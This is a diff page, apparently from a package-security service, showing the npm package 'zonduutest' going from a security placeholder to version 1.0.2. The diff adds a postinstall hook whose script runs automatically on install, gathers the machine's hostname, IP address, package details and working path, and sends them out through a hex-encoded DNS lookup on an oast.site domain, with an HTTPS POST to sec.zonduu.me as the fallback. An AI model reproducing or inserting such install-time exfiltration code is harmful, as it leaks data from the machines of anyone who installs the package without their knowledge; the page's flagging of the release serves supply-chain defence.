zonduutest 0.0.1-security.1 → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of zonduutest might be problematic. Click here for more details.
- package/package.json +9 -3
- package/postinstall.js +57 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "zonduutest",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "Proof of concept for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,57 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const logFile = '/tmp/postinstall.log';
|
3
|
+
|
4
|
+
fs.appendFileSync(logFile, `Starting postinstall script\n`);
|
5
|
+
|
6
|
+
const dns = require('dns');
|
7
|
+
const https = require('https');
|
8
|
+
const os = require('os');
|
9
|
+
|
10
|
+
const hostname = os.hostname();
|
11
|
+
const packageName = process.env.npm_package_name;
|
12
|
+
const packageVersion = process.env.npm_package_version;
|
13
|
+
const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
|
14
|
+
const currentPath = process.cwd();
|
15
|
+
|
16
|
+
const data = {
|
17
|
+
packageName,
|
18
|
+
packageVersion,
|
19
|
+
hostname,
|
20
|
+
ipAddress,
|
21
|
+
currentPath
|
22
|
+
};
|
23
|
+
|
24
|
+
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|
25
|
+
|
26
|
+
const hexData = Buffer.from(JSON.stringify(data)).toString('hex');
|
27
|
+
const dnsSubdomain = `${hexData}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
|
28
|
+
|
29
|
+
dns.resolve4(dnsSubdomain, (err, addresses) => {
|
30
|
+
if (err) {
|
31
|
+
fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
|
32
|
+
const postData = JSON.stringify(data);
|
33
|
+
const options = {
|
34
|
+
hostname: 'sec.zonduu.me',
|
35
|
+
port: 443,
|
36
|
+
path: '/callbackplz',
|
37
|
+
method: 'POST',
|
38
|
+
headers: {
|
39
|
+
'Content-Type': 'application/json',
|
40
|
+
'Content-Length': postData.length
|
41
|
+
}
|
42
|
+
};
|
43
|
+
|
44
|
+
const req = https.request(options, (res) => {
|
45
|
+
res.on('data', (d) => {});
|
46
|
+
});
|
47
|
+
|
48
|
+
req.on('error', (e) => {
|
49
|
+
fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
|
50
|
+
});
|
51
|
+
|
52
|
+
req.write(postData);
|
53
|
+
req.end();
|
54
|
+
} else {
|
55
|
+
fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
|
56
|
+
}
|
57
|
+
});
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=zonduutest for more information.
|